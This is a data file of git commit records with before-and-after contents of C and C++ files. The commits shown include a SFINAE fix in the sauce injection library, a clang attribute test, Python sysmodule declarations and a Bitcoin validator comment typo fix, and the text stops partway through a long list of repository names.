{"commit":"5bb57a199d5ba7b70b2f1c4a566bfe9bdb0ce1c1","old_file":"sauce\/internal\/self_injector.h","new_file":"sauce\/internal\/self_injector.h","old_contents":"#ifndef SAUCE_INTERNAL_SELF_INJECTOR_H_\n#define SAUCE_INTERNAL_SELF_INJECTOR_H_\n\n#include <sauce\/memory.h>\n\nnamespace sauce {\nnamespace internal {\n\n\/**\n * If a type requests injection of its own smart pointer, do so.\n *\n * An interface Iface requests this by exposing void setSelf(sauce::weak_ptr<Iface>), detected by SFINAE.\n *\/\ntemplate<typename T>\nclass SelfInjector {\n  typedef sauce::shared_ptr<T> Ptr;\n  typedef void (T::* SetterMethod)(sauce::weak_ptr<T>);\n\n  template<typename U, U>\n  struct EqualTypes;\n\n  template<typename DoesNotRequestSelf>\n  void setSelfIfRequested(Ptr, ...) {}\n\n  template<typename RequestsSelf>\n  void setSelfIfRequested(Ptr ptr, EqualTypes<SetterMethod, & RequestsSelf::setSelf> *) {\n    sauce::weak_ptr<T> weak(ptr);\n    ptr->setSelf(weak);\n  }\n\npublic:\n\n  void setSelf(Ptr ptr) {\n    setSelfIfRequested<T>(ptr, 0);\n  }\n};\n\n}\n\nnamespace i = ::sauce::internal;\n\n}\n\n#endif \/\/ SAUCE_INTERNAL_SELF_INJECTOR_H_\n","new_contents":"#ifndef SAUCE_INTERNAL_SELF_INJECTOR_H_\n#define SAUCE_INTERNAL_SELF_INJECTOR_H_\n\n#include <sauce\/memory.h>\n\nnamespace sauce {\nnamespace internal {\n\n\/**\n * If a type requests injection of its own smart pointer, do so.\n *\n * An interface Iface requests this by exposing void setSelf(sauce::weak_ptr<Iface>), detected by SFINAE.\n *\/\ntemplate<typename T>\nclass SelfInjector {\n  struct Guard {\n    void setSelf(sauce::weak_ptr<T>) {}\n  };\n\n  struct WithGuard: public T, public Guard {};\n\n  typedef sauce::shared_ptr<T> Ptr;\n  typedef void (Guard::* NoMethod)(sauce::weak_ptr<T>);\n\n  template<typename U, U>\n  struct EqualTypes;\n\n  template<typename RequestsSelf>\n  void setSelfIfRequested(Ptr ptr, ...) {\n    sauce::weak_ptr<T> weak(ptr);\n    ptr->setSelf(weak);\n  }\n\n  template<typename DoesNotRequestSelf>\n  void setSelfIfRequested(Ptr, EqualTypes<NoMethod, & DoesNotRequestSelf::setSelf> *) {}\n\npublic:\n\n  void setSelf(Ptr ptr) {\n    setSelfIfRequested<WithGuard>(ptr, 0);\n  }\n};\n\n}\n\nnamespace i = ::sauce::internal;\n\n}\n\n#endif \/\/ SAUCE_INTERNAL_SELF_INJECTOR_H_\n","subject":"Make SelfInjector aware of inherited methods.","message":"Make SelfInjector aware of inherited methods.\n\nSee http:\/\/stackoverflow.com\/questions\/1966362\/sfinae-to-check-for-inherited-member-functions\n","lang":"C","license":"mit","repos":"phs\/sauce,phs\/sauce,phs\/sauce,phs\/sauce"}
{"commit":"717bd6ed8cd2f28f9838de3d8506ba2ab5152d0d","old_file":"test.c","new_file":"test.c","old_contents":"\/* a test file for ArgyrisPack *\/\n#include <stdio.h>\n#include \"argyris_pack.h\"\n\n#define ORDER(row,col,nrows,ncols) (row)*(ncols) + (col)\n\nvoid print_matrix(double* matrix, int rows, int cols)\n{\n        int i, j;\n        for (i = 0; i < rows; i++) {\n                for (j = 0; j < cols; j++) {\n                        printf(\"%.16f \", matrix[ORDER(i,j,rows,cols)]);\n                }\n                printf(\"\\n\");\n        }\n}\n\nvoid print_matrix_flat(double* matrix, int rows, int cols)\n{\n        int i;\n        for (i = 0; i < rows*cols; i++) {\n                printf(\"%.16f \", matrix[i]);\n        }\n        printf(\"\\n\");\n}\n\nint main(int argc, char *argv[])\n{\n        double x[3] = {0.1, 0.2, 0.3};\n        double y[3] = {0.2, 0.2, 0.3};\n\n        double ref_dx[21*3];\n        double ref_dy[21*3];\n\n        ap_local_gradients(x, y, 3, ref_dx, ref_dy);\n\n        printf(\"ref_dx: \");\n        print_matrix(ref_dx, 21, 3);\n        printf(\"ref_dy: \");\n        print_matrix(ref_dy, 21, 3);\n\n\n        return 0;\n}\n","new_contents":"\/* a test file for ArgyrisPack *\/\n#include <stdio.h>\n#include \"argyris_pack.h\"\n#include \"order_logic.h\"\n\nvoid print_matrix(double* matrix, int rows, int cols)\n{\n        int i, j;\n        for (i = 0; i < rows; i++) {\n                for (j = 0; j < cols; j++) {\n                        printf(\"%.16f \", matrix[ORDER(i,j,rows,cols)]);\n                }\n                printf(\"\\n\");\n        }\n}\n\nvoid print_matrix_flat(double* matrix, int rows, int cols)\n{\n        int i;\n        for (i = 0; i < rows*cols; i++) {\n                printf(\"%.16f \", matrix[i]);\n        }\n        printf(\"\\n\");\n}\n\nint main(int argc, char *argv[])\n{\n        double x[3] = {0.1, 0.2, 0.3};\n        double y[3] = {0.2, 0.2, 0.3};\n\n        double ref_dx[21*3];\n        double ref_dy[21*3];\n\n        ap_local_gradients(x, y, 3, ref_dx, ref_dy);\n\n        printf(\"ref_dx: \");\n        print_matrix(ref_dx, 21, 3);\n        printf(\"ref_dy: \");\n        print_matrix(ref_dy, 21, 3);\n\n\n        return 0;\n}\n","subject":"REFACTOR include the more general macro collection in order_logic.h","message":"REFACTOR include the more general macro collection in order_logic.h\n","lang":"C","license":"bsd-3-clause","repos":"VT-ICAM\/ArgyrisPack,VT-ICAM\/ArgyrisPack,VT-ICAM\/ArgyrisPack"}
{"commit":"33231a276ae9ac84ae779531e9f346fb7719a4cb","old_file":"Include\/sysmodule.h","new_file":"Include\/sysmodule.h","old_contents":"\n\/* System module interface *\/\n\n#ifndef Py_SYSMODULE_H\n#define Py_SYSMODULE_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nDL_IMPORT(PyObject *) PySys_GetObject(char *);\nDL_IMPORT(int) PySys_SetObject(char *, PyObject *);\nDL_IMPORT(FILE *) PySys_GetFile(char *, FILE *);\nDL_IMPORT(void) PySys_SetArgv(int, char **);\nDL_IMPORT(void) PySys_SetPath(char *);\n\nDL_IMPORT(void) PySys_WriteStdout(const char *format, ...);\nDL_IMPORT(void) PySys_WriteStderr(const char *format, ...);\n\nextern DL_IMPORT(PyObject *) _PySys_TraceFunc, *_PySys_ProfileFunc;\nextern DL_IMPORT(int) _PySys_CheckInterval;\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_SYSMODULE_H *\/\n","new_contents":"\n\/* System module interface *\/\n\n#ifndef Py_SYSMODULE_H\n#define Py_SYSMODULE_H\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\nDL_IMPORT(PyObject *) PySys_GetObject(char *);\nDL_IMPORT(int) PySys_SetObject(char *, PyObject *);\nDL_IMPORT(FILE *) PySys_GetFile(char *, FILE *);\nDL_IMPORT(void) PySys_SetArgv(int, char **);\nDL_IMPORT(void) PySys_SetPath(char *);\n\nDL_IMPORT(void) PySys_WriteStdout(const char *format, ...);\nDL_IMPORT(void) PySys_WriteStderr(const char *format, ...);\n\nextern DL_IMPORT(PyObject *) _PySys_TraceFunc, *_PySys_ProfileFunc;\nextern DL_IMPORT(int) _PySys_CheckInterval;\n\nDL_IMPORT(void) PySys_ResetWarnOptions(void);\nDL_IMPORT(void) PySys_AddWarnOption(char *);\n\n#ifdef __cplusplus\n}\n#endif\n#endif \/* !Py_SYSMODULE_H *\/\n","subject":"Add declarations for PySys_ResetWarnOptions() and PySys_AddWarnOption().","message":"Add declarations for PySys_ResetWarnOptions() and\nPySys_AddWarnOption().\n","lang":"C","license":"mit","repos":"sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator,sk-\/python2.7-type-annotator"}
{"commit":"fceeec91fa4bba9f4240e7e43eec3066b434cc6b","old_file":"test\/Sema\/stdcall-fastcall.c","new_file":"test\/Sema\/stdcall-fastcall.c","old_contents":"\/\/ RUN: clang -fsyntax-only -verify %s\n\n\/\/ CC qualifier can be applied only to functions\nint __attribute__((stdcall)) var1; \/\/ expected-warning{{'stdcall' attribute only applies to function types}}\nint __attribute__((fastcall)) var2; \/\/ expected-warning{{'fastcall' attribute only applies to function types}}\n\n\/\/ Different CC qualifiers are not compatible\nvoid __attribute__((stdcall, fastcall)) foo3(); \/\/ expected-error{{stdcall and fastcall attributes are not compatible}}\n\n\/\/ FIXME: Something went wrong recently and diagnostics is not generated anymore\nvoid __attribute__((stdcall)) foo4();\nvoid __attribute__((fastcall)) foo4();\n","new_contents":"\/\/ RUN: clang -fsyntax-only -verify %s\n\n\/\/ CC qualifier can be applied only to functions\nint __attribute__((stdcall)) var1; \/\/ expected-warning{{'stdcall' attribute only applies to function types}}\nint __attribute__((fastcall)) var2; \/\/ expected-warning{{'fastcall' attribute only applies to function types}}\n\n\/\/ Different CC qualifiers are not compatible\nvoid __attribute__((stdcall, fastcall)) foo3(); \/\/ expected-error{{stdcall and fastcall attributes are not compatible}}\nvoid __attribute__((stdcall)) foo4();\nvoid __attribute__((fastcall)) foo4(); \/\/ expected-error{{fastcall and stdcall attributes are not compatible}}\n","subject":"Complete the test after adding handling of merged attributes on decls.","message":"Complete the test after adding handling of merged attributes on decls.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@61438 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"}
{"commit":"ccf3af77c10c3b06acde8ee55930051a862bd728","old_file":"src\/qt\/bitcoinaddressvalidator.h","new_file":"src\/qt\/bitcoinaddressvalidator.h","old_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base48 entry widget validator.\n   Corrects near-miss characters and refuses characters that are no part of base48.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","new_contents":"#ifndef BITCOINADDRESSVALIDATOR_H\n#define BITCOINADDRESSVALIDATOR_H\n\n#include <QValidator>\n\n\/** Base58 entry widget validator.\n   Corrects near-miss characters and refuses characters that are not part of base58.\n *\/\nclass BitcoinAddressValidator : public QValidator\n{\n    Q_OBJECT\n\npublic:\n    explicit BitcoinAddressValidator(QObject *parent = 0);\n\n    State validate(QString &input, int &pos) const;\n\n    static const int MaxAddressLength = 35;\n};\n\n#endif \/\/ BITCOINADDRESSVALIDATOR_H\n","subject":"Fix typo in a comment: it's base58, not base48.","message":"Fix typo in a comment: it's base58, not base48.\n","lang":"C","license":"mit","repos":"GroundRod\/anoncoin,Mrs-X\/Darknet,donaloconnor\/bitcoin,sstone\/bitcoin,ahmedbodi\/vertcoin,11755033isaprimenumber\/Feathercoin,Earlz\/renamedcoin,jimmykiselak\/lbrycrd,shouhuas\/bitcoin,litecoin-project\/litecoin,rustyrussell\/bitcoin,nmarley\/dash,pstratem\/elements,goku1997\/bitcoin,BTCTaras\/bitcoin,NicolasDorier\/bitcoin,Flowdalic\/bitcoin,Petr-Economissa\/gvidon,MazaCoin\/maza,botland\/bitcoin,sipa\/bitcoin,ClusterCoin\/ClusterCoin,bitcoinxt\/bitcoinxt,krzysztofwos\/BitcoinUnlimited,MikeAmy\/bitcoin,hyperwang\/bitcoin,HeliumGas\/helium,greenaddress\/bitcoin,kevcooper\/bitcoin,dexX7\/mastercore,174high\/bitcoin,dgarage\/bc3,slingcoin\/sling-market,unsystemizer\/bitcoin,bcpki\/nonce2testblocks,m0gliE\/fastcoin-cli,dpayne9000\/Rubixz-Coin,shomeser\/bitcoin,mincoin-project\/mincoin,DSPay\/DSPay,Tetpay\/bitcoin,shouhuas\/bitcoin,basicincome\/unpcoin-core,digideskio\/namecoin,Domer85\/dogecoin,ixcoinofficialpage\/master,iQcoin\/iQcoin,DogTagRecon\/Still-Leraning,deadalnix\/bitcoin,AdrianaDinca\/bitcoin,48thct2jtnf\/P,ptschip\/bitcoinxt,gandrewstone\/BitcoinUnlimited,bickojima\/bitzeny,sipsorcery\/bitcoin,tjth\/lotterycoin,Darknet-Crypto\/Darknet,matlongsi\/micropay,btcdrak\/bitcoin,lclc\/bitcoin,llluiop\/bitcoin,ShadowMyst\/creativechain-core,hyperwang\/bitcoin,cculianu\/bitcoin-abc,kallewoof\/bitcoin,Domer85\/dogecoin,Diapolo\/bitcoin,domob1812\/bitcoin,robvanbentem\/bitcoin,koharjidan\/dogecoin,daveperkins-github\/bitcoin-dev,dmrtsvetkov\/flowercoin,sarielsaz\/sarielsaz,constantine001\/bitcoin,apoelstra\/elements,s-matthew-english\/bitcoin,upgradeadvice\/MUE-Src,djpnewton\/bitcoin,pouta\/bitcoin,koharjidan\/dogecoin,FeatherCoin\/Feathercoin,randy-waterhouse\/bitcoin,RHavar\/bitcoin,ashleyholman\/bitcoin,HeliumGas\/helium,basicincome\/unpcoin-core,misdess\/bitcoin,oleganza\/bitcoin-duo,jtimon\/elements,pstratem\/bitcoin,RibbitFROG\/ribbitcoin,ftrader-bitcoinabc\/bitcoin-abc,sickpig\/BitcoinUnlimited,sbaks0820\/bitcoin,LIMXTEC\/DMDv3,shouhuas\/bitcoin,coinkeeper\/2015-06-22_18-39_feathercoin,guncoin\/guncoin,achow101\/bitcoin,achow101\/bitcoin,MasterX1582\/bitcoin-becoin,TrainMAnB\/vcoincore,zenywallet\/bitzeny,jakeva\/bitcoin-pwcheck,instagibbs\/bitcoin,Krellan\/bitcoin,meighti\/bitcoin,npccoin\/npccoin,my-first\/octocoin,GwangJin\/gwangmoney-core,Mirobit\/bitcoin,faircoin\/faircoin2,BlockchainTechLLC\/3dcoin,TGDiamond\/Diamond,initaldk\/bitcoin,xurantju\/bitcoin,AllanDoensen\/BitcoinUnlimited,guncoin\/guncoin,Kcoin-project\/kcoin,brishtiteveja\/truthcoin-cpp,kallewoof\/elements,jimmysong\/bitcoin,jimmysong\/bitcoin,Bitcoinsulting\/bitcoinxt,andreaskern\/bitcoin,gandrewstone\/BitcoinUnlimited,mycointest\/owncoin,UASF\/bitcoin,deeponion\/deeponion,tjth\/lotterycoin,shaulkf\/bitcoin,dan-mi-sun\/bitcoin,bitbrazilcoin-project\/bitbrazilcoin,torresalyssa\/bitcoin,coinkeeper\/2015-06-22_19-00_ziftrcoin,sdaftuar\/bitcoin,myriadcoin\/myriadcoin,TheBlueMatt\/bitcoin,Alex-van-der-Peet\/bitcoin,particl\/particl-core,parvez3019\/bitcoin,genavarov\/brcoin,h4x3rotab\/BTCGPU,mikehearn\/bitcoinxt,myriadteam\/myriadcoin,jnewbery\/bitcoin,Kogser\/bitcoin,MazaCoin\/maza,octocoin-project\/octocoin,h4x3rotab\/BTCGPU,mruddy\/bitcoin,braydonf\/bitcoin,AllanDoensen\/BitcoinUnlimited,balajinandhu\/bitcoin,Kixunil\/keynescoin,markf78\/dollarcoin,rromanchuk\/bitcoinxt,cdecker\/bitcoin,donaloconnor\/bitcoin,deeponion\/deeponion,plncoin\/PLNcoin_Core,bmp02050\/ReddcoinUpdates,jlopp\/statoshi,anditto\/bitcoin,shaolinfry\/litecoin,mockcoin\/mockcoin,ftrader-bitcoinabc\/bitcoin-abc,sebrandon1\/bitcoin,imharrywu\/fastcoin,Rav3nPL\/doubloons-0.10,segwit\/atbcoin-insight,TierNolan\/bitcoin,FarhanHaque\/bitcoin,RyanLucchese\/energi,faircoin\/faircoin2,Gazer022\/bitcoin,AdrianaDinca\/bitcoin,deuscoin\/deuscoin,Kenwhite23\/litecoin,mycointest\/owncoin,langerhans\/dogecoin,TBoehm\/greedynode,irvingruan\/bitcoin,crowning-\/dash,Rav3nPL\/PLNcoin,ctwiz\/stardust,genavarov\/ladacoin,paveljanik\/bitcoin,haraldh\/bitcoin,kfitzgerald\/titcoin,prusnak\/bitcoin,core-bitcoin\/bitcoin,ryanofsky\/bitcoin,BitcoinHardfork\/bitcoin,EthanHeilman\/bitcoin,deadalnix\/bitcoin,shaulkf\/bitcoin,kleetus\/bitcoin,genavarov\/ladacoin,wiggi\/huntercore,jtimon\/bitcoin,1185\/starwels,lakepay\/lake,psionin\/smartcoin,aspirecoin\/aspire,DMDcoin\/Diamond,XertroV\/bitcoin-nulldata,sugruedes\/bitcoin,nbenoit\/bitcoin,digibyte\/digibyte,butterflypay\/bitcoin,gjhiggins\/vcoincore,FarhanHaque\/bitcoin,ivansib\/sib16,BTCTaras\/bitcoin,maaku\/bitcoin,diggcoin\/diggcoin,wederw\/bitcoin,superjudge\/bitcoin,basicincome\/unpcoin-core,BTCGPU\/BTCGPU,scippio\/bitcoin,JeremyRubin\/bitcoin,jarymoth\/dogecoin,bitcoinclassic\/bitcoinclassic,tjth\/lotterycoin,XertroV\/bitcoin-nulldata,hasanatkazmi\/bitcoin,llluiop\/bitcoin,CryptArc\/bitcoin,lakepay\/lake,AllanDoensen\/BitcoinUnlimited,world-bank\/unpay-core,SartoNess\/BitcoinUnlimited,domob1812\/bitcoin,fullcoins\/fullcoin,truthcoin\/blocksize-market,qtumproject\/qtum,viacoin\/viacoin,nathaniel-mahieu\/bitcoin,cculianu\/bitcoin-abc,jonasschnelli\/bitcoin,brishtiteveja\/sherlockcoin,rnicoll\/dogecoin,EntropyFactory\/creativechain-core,gwillen\/elements,dexX7\/bitcoin,jmgilbert2\/energi,coinkeeper\/2015-06-22_18-31_bitcoin,psionin\/smartcoin,sickpig\/BitcoinUnlimited,brishtiteveja\/sherlockcoin,tropa\/axecoin,tecnovert\/particl-core,stevemyers\/bitcoinxt,gravio-net\/graviocoin,sbellem\/bitcoin,Diapolo\/bitcoin,xuyangcn\/opalcoin,laudaa\/bitcoin,laudaa\/bitcoin,Krellan\/bitcoin,shelvenzhou\/BTCGPU,funkshelper\/woodcore,jn2840\/bitcoin,Exgibichi\/statusquo,rromanchuk\/bitcoinxt,tuaris\/bitcoin,wellenreiter01\/Feathercoin,faircoin\/faircoin,keesdewit82\/LasVegasCoin,dashpay\/dash,isocolsky\/bitcoinxt,kallewoof\/elements,myriadcoin\/myriadcoin,coinkeeper\/2015-06-22_18-52_viacoin,maaku\/bitcoin,BTCTaras\/bitcoin,omefire\/bitcoin,nathan-at-least\/zcash,iQcoin\/iQcoin,marlengit\/BitcoinUnlimited,dgenr8\/bitcoin,ardsu\/bitcoin,BTCGPU\/BTCGPU,grumpydevelop\/singularity,DGCDev\/digitalcoin,patricklodder\/dogecoin,ediston\/energi,jmcorgan\/bitcoin,aspanta\/bitcoin,terracoin\/terracoin,myriadcoin\/myriadcoin,balajinandhu\/bitcoin,bespike\/litecoin,mincoin-project\/mincoin,bittylicious\/bitcoin,leofidus\/glowing-octo-ironman,cybermatatu\/bitcoin,TGDiamond\/Diamond,Gazer022\/bitcoin,ravenbyron\/phtevencoin,bitcoin-hivemind\/hivemind,GroundRod\/anoncoin,odemolliens\/bitcoinxt,rat4\/bitcoin,CodeShark\/bitcoin,elecoin\/elecoin,rnicoll\/bitcoin,Mrs-X\/PIVX,CryptArc\/bitcoin,Bitcoinsulting\/bitcoinxt,bitcoinsSG\/zcash,jiangyonghang\/bitcoin,amaivsimau\/bitcoin,Vsync-project\/Vsync,peercoin\/peercoin,gandrewstone\/BitcoinUnlimited,rsdevgun16e\/energi,dpayne9000\/Rubixz-Coin,ericshawlinux\/bitcoin,dscotese\/bitcoin,stevemyers\/bitcoinxt,experiencecoin\/experiencecoin,arnuschky\/bitcoin,janko33bd\/bitcoin,anditto\/bitcoin,scmorse\/bitcoin,jonghyeopkim\/bitcoinxt,SartoNess\/BitcoinUnlimited,ajweiss\/bitcoin,Kogser\/bitcoin,mitchellcash\/bitcoin,wangliu\/bitcoin,Bitcoin-ABC\/bitcoin-abc,haraldh\/bitcoin,jmcorgan\/bitcoin,ajtowns\/bitcoin,adpg211\/bitcoin-master,skaht\/bitcoin,Metronotes\/bitcoin,gazbert\/bitcoin,Exgibichi\/statusquo,peercoin\/peercoin,langerhans\/dogecoin,vtafaucet\/virtacoin,senadmd\/coinmarketwatch,TrainMAnB\/vcoincore,gravio-net\/graviocoin,mb300sd\/bitcoin,xurantju\/bitcoin,jtimon\/bitcoin,UASF\/bitcoin,droark\/elements,zetacoin\/zetacoin,GwangJin\/gwangmoney-core,cotner\/bitcoin,Vsync-project\/Vsync,myriadteam\/myriadcoin,NateBrune\/bitcoin-fio,1185\/starwels,REAP720801\/bitcoin,genavarov\/brcoin,Exceltior\/dogecoin,tuaris\/bitcoin,appop\/bitcoin,FeatherCoin\/Feathercoin,nathan-at-least\/zcash,bitcoin\/bitcoin,HeliumGas\/helium,Cocosoft\/bitcoin,appop\/bitcoin,OstlerDev\/florincoin,error10\/bitcoin,NicolasDorier\/bitcoin,bdelzell\/creditcoin-org-creditcoin,greencoin-dev\/digitalcoin,xurantju\/bitcoin,untrustbank\/litecoin,dgarage\/bc2,ArgonToken\/ArgonToken,presstab\/PIVX,21E14\/bitcoin,coinkeeper\/2015-06-22_18-37_dogecoin,experiencecoin\/experiencecoin,atgreen\/bitcoin,cryptoprojects\/ultimateonlinecash,dagurval\/bitcoinxt,jonasschnelli\/bitcoin,fedoracoin-dev\/fedoracoin,rsdevgun16e\/energi,MazaCoin\/mazacoin-new,rawodb\/bitcoin,rnicoll\/dogecoin,supcoin\/supcoin,schildbach\/bitcoin,langerhans\/dogecoin,denverl\/bitcoin,terracoin\/terracoin,kallewoof\/elements,sbellem\/bitcoin,gazbert\/bitcoin,jlopp\/statoshi,terracoin\/terracoin,bitcoinsSG\/bitcoin,afk11\/bitcoin,jimmysong\/bitcoin,GroestlCoin\/bitcoin,shea256\/bitcoin,BitcoinPOW\/BitcoinPOW,dev1972\/Satellitecoin,droark\/elements,gameunits\/gameunits,Jeff88Ho\/bitcoin,dgenr8\/bitcoinxt,alejandromgk\/Lunar,scippio\/bitcoin,zotherstupidguy\/bitcoin,GroestlCoin\/bitcoin,fanquake\/bitcoin,ahmedbodi\/vertcoin,safecoin\/safecoin,gandrewstone\/bitcoinxt,destenson\/bitcoin--bitcoin,UdjinM6\/dash,willwray\/dash,DGCDev\/digitalcoin,practicalswift\/bitcoin,viacoin\/viacoin,shomeser\/bitcoin,DigitalPandacoin\/pandacoin,omefire\/bitcoin,capitalDIGI\/DIGI-v-0-10-4,petertodd\/bitcoin,nmarley\/dash,lbryio\/lbrycrd,coinwarp\/dogecoin,sdaftuar\/bitcoin,dpayne9000\/Rubixz-Coin,wcwu\/bitcoin,okinc\/bitcoin,anditto\/bitcoin,Rav3nPL\/doubloons-0.10,Sjors\/bitcoin,CTRoundTable\/Encrypted.Cash,haobtc\/bitcoin,kbccoin\/kbc,Darknet-Crypto\/Darknet,marlengit\/BitcoinUnlimited,Anoncoin\/anoncoin,dgarage\/bc3,BitcoinPOW\/BitcoinPOW,imharrywu\/fastcoin,mrbandrews\/bitcoin,brishtiteveja\/truthcoin-cpp,error10\/bitcoin,rawodb\/bitcoin,ingresscoin\/ingresscoin,petertodd\/bitcoin,joroob\/reddcoin,monacoinproject\/monacoin,Rav3nPL\/PLNcoin,ElementsProject\/elements,crowning-\/dash,inkvisit\/sarmacoins,odemolliens\/bitcoinxt,bmp02050\/ReddcoinUpdates,FeatherCoin\/Feathercoin,rustyrussell\/bitcoin,core-bitcoin\/bitcoin,ekankyesme\/bitcoinxt,haobtc\/bitcoin,domob1812\/huntercore,ZiftrCOIN\/ziftrcoin,koharjidan\/bitcoin,gazbert\/bitcoin,m0gliE\/fastcoin-cli,jamesob\/bitcoin,cculianu\/bitcoin-abc,litecoin-project\/litecore-litecoin,isle2983\/bitcoin,ArgonToken\/ArgonToken,fullcoins\/fullcoin,sipsorcery\/bitcoin,jimmykiselak\/lbrycrd,Friedbaumer\/litecoin,ShwoognationHQ\/bitcoin,svost\/bitcoin,Tetpay\/bitcoin,btc1\/bitcoin,lateminer\/bitcoin,bitpay\/bitcoin,jiangyonghang\/bitcoin,ajtowns\/bitcoin,meighti\/bitcoin,Bushstar\/UFO-Project,Metronotes\/bitcoin,sebrandon1\/bitcoin,matlongsi\/micropay,Thracky\/monkeycoin,domob1812\/namecore,spiritlinxl\/BTCGPU,deadalnix\/bitcoin,Jcing95\/iop-hd,thelazier\/dash,Justaphf\/BitcoinUnlimited,bickojima\/bitzeny,UFOCoins\/ufo,bitbrazilcoin-project\/bitbrazilcoin,midnightmagic\/bitcoin,nsacoin\/nsacoin,ElementsProject\/elements,rnicoll\/bitcoin,stamhe\/bitcoin,s-matthew-english\/bitcoin,karek314\/bitcoin,pstratem\/bitcoin,coinkeeper\/2015-06-22_18-52_viacoin,ediston\/energi,Diapolo\/bitcoin,Horrorcoin\/horrorcoin,Har01d\/bitcoin,itmanagerro\/tresting,SoreGums\/bitcoinxt,experiencecoin\/experiencecoin,GroestlCoin\/GroestlCoin,UFOCoins\/ufo,psionin\/smartcoin,pataquets\/namecoin-core,florincoin\/florincoin,zotherstupidguy\/bitcoin,vertcoin\/vertcoin,cyrixhero\/bitcoin,XertroV\/bitcoin-nulldata,Vector2000\/bitcoin,bcpki\/testblocks,world-bank\/unpay-core,denverl\/bitcoin,diggcoin\/diggcoin,CoinProjects\/AmsterdamCoin-v4,reddink\/reddcoin,mrbandrews\/bitcoin,misdess\/bitcoin,Lucky7Studio\/bitcoin,terracoin\/terracoin,coinkeeper\/2015-06-22_18-37_dogecoin,jonghyeopkim\/bitcoinxt,ripper234\/bitcoin,TierNolan\/bitcoin,roques\/bitcoin,ingresscoin\/ingresscoin,JeremyRand\/namecoin-core,millennial83\/bitcoin,simdeveloper\/bitcoin,kevcooper\/bitcoin,jamesob\/bitcoin,rnicoll\/bitcoin,grumpydevelop\/singularity,coinkeeper\/2015-06-22_19-00_ziftrcoin,PandaPayProject\/PandaPay,sickpig\/BitcoinUnlimited,antonio-fr\/bitcoin,donaloconnor\/bitcoin,BTCfork\/hardfork_prototype_1_mvf-core,spiritlinxl\/BTCGPU,ekankyesme\/bitcoinxt,antcheck\/antcoin,appop\/bitcoin,wederw\/bitcoin,XertroV\/bitcoin-nulldata,dpayne9000\/Rubixz-Coin,XertroV\/bitcoin-nulldata,faircoin\/faircoin2,UFOCoins\/ufo,Cocosoft\/bitcoin,cdecker\/bitcoin,coinkeeper\/2015-06-22_19-07_digitalcoin,nailtaras\/nailcoin,coinkeeper\/2015-06-22_18-37_dogecoin,fanquake\/bitcoin,denverl\/bitcoin,HashUnlimited\/Einsteinium-Unlimited,mastercoin-MSC\/mastercore,keesdewit82\/LasVegasCoin,Rav3nPL\/PLNcoin,likecoin-dev\/bitcoin,funkshelper\/woodcore,habibmasuro\/bitcoin,x-kalux\/bitcoin_WiG-B,omefire\/bitcoin,skaht\/bitcoin,itmanagerro\/tresting,bmp02050\/ReddcoinUpdates,pastday\/bitcoinproject,safecoin\/safecoin,REAP720801\/bitcoin,ripper234\/bitcoin,JeremyRubin\/bitcoin,hophacker\/bitcoin_malleability,AkioNak\/bitcoin,nomnombtc\/bitcoin,nikkitan\/bitcoin,bitcoin-hivemind\/hivemind,coinerd\/krugercoin,dgenr8\/bitcoin,benosa\/bitcoin,inkvisit\/sarmacoins,dagurval\/bitcoinxt,mm-s\/bitcoin,marcusdiaz\/BitcoinUnlimited,ludbb\/bitcoin,capitalDIGI\/litecoin,goldcoin\/Goldcoin-GLD,bitjson\/hivemind,marlengit\/hardfork_prototype_1_mvf-bu,scmorse\/bitcoin,bitcoinec\/bitcoinec,ahmedbodi\/temp_vert,wellenreiter01\/Feathercoin,alecalve\/bitcoin,Domer85\/dogecoin,ahmedbodi\/temp_vert,ryanofsky\/bitcoin,credits-currency\/credits,petertodd\/bitcoin,tdudz\/elements,biblepay\/biblepay,DGCDev\/digitalcoin,jarymoth\/dogecoin,phelix\/bitcoin,Darknet-Crypto\/Darknet,coinkeeper\/2015-06-22_18-31_bitcoin,PandaPayProject\/PandaPay,maaku\/bitcoin,GlobalBoost\/GlobalBoost,butterflypay\/bitcoin,Thracky\/monkeycoin,elecoin\/elecoin,npccoin\/npccoin,TeamBitBean\/bitcoin-core,ashleyholman\/bitcoin,nvmd\/bitcoin,KaSt\/ekwicoin,tmagik\/catcoin,GroundRod\/anoncoin,cerebrus29301\/crowncoin,elecoin\/elecoin,CodeShark\/bitcoin,BTCGPU\/BTCGPU,Bushstar\/UFO-Project,btcdrak\/bitcoin,pstratem\/elements,ixcoinofficialpage\/master,starwels\/starwels,antonio-fr\/bitcoin,RongxinZhang\/bitcoinxt,Chancoin-core\/CHANCOIN,crowning-\/dash,djpnewton\/bitcoin,Kogser\/bitcoin,mruddy\/bitcoin,zander\/bitcoinclassic,syscoin\/syscoin,hsavit1\/bitcoin,Rav3nPL\/polcoin,kevcooper\/bitcoin,RibbitFROG\/ribbitcoin,riecoin\/riecoin,ticclassic\/ic,trippysalmon\/bitcoin,Metronotes\/bitcoin,janko33bd\/bitcoin,Michagogo\/bitcoin,zottejos\/merelcoin,joroob\/reddcoin,jrmithdobbs\/bitcoin,pinkevich\/dash,GlobalBoost\/GlobalBoost,GIJensen\/bitcoin,monacoinproject\/monacoin,okinc\/bitcoin,digibyte\/digibyte,genavarov\/lamacoin,21E14\/bitcoin,Jcing95\/iop-hd,21E14\/bitcoin,steakknife\/bitcoin-qt,capitalDIGI\/DIGI-v-0-10-4,constantine001\/bitcoin,fussl\/elements,myriadteam\